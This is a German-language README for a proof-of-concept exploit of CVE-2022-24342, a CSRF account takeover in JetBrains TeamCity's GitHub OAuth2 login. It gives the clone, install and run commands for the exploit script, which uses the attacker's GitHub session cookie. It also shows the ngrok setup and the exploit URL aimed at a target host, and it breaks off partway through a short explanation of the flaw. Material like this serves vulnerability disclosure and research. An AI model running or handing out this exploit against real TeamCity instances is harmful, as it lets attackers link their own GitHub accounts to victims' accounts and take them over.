
PoC für CVE-2022-24342: Kontenübernahme per CSRF in der GitHub-Authentifizierung
JetBrains TeamCity – Kontoübernahme durch CSRF bei GitHub-Authentifizierung (PoC)
Versuchen Sie, sich mit dem GitHub-Konto des Angreifers bei der Ziel-TeamCity-Instanz anzumelden, um die GitHub-Anwendung von TeamCity zu autorisieren.
Installieren & ausführen:
$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] -s S [-p P]
optional arguments:
-h, --help show this help message and exit
-s S GitHub user session
-p P Uvicorn port
$ python3 exploit.py -s {attackers_github_session_cookie}
Wenn Sie den Exploit auf dem lokalen Rechner ausführen, benötigen Sie möglicherweise Ngrok oder Alternativen.
$ ngrok http 8000
Startseite: "http://{exploit-host}:8000"
Autorisierungsrückruf-URL: "http://{exploit-host}:8000/callback"
http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}
DEMO:
TeamCity war anfällig für die Injektion von Abfrageparametern während des OAuth2-Ablaufs, was es einem Angreifer ermöglichte, einen Benutzer auf eine beliebige GitHub-OAuth2-Anwendung umzuleiten, einen gültigen Statusparameter abzufangen und ein beliebiges GitHub-Konto mit dem TeamCity-Konto des Opfers zu verbinden.
Dies war aufgrund der folgenden Punkte möglich:

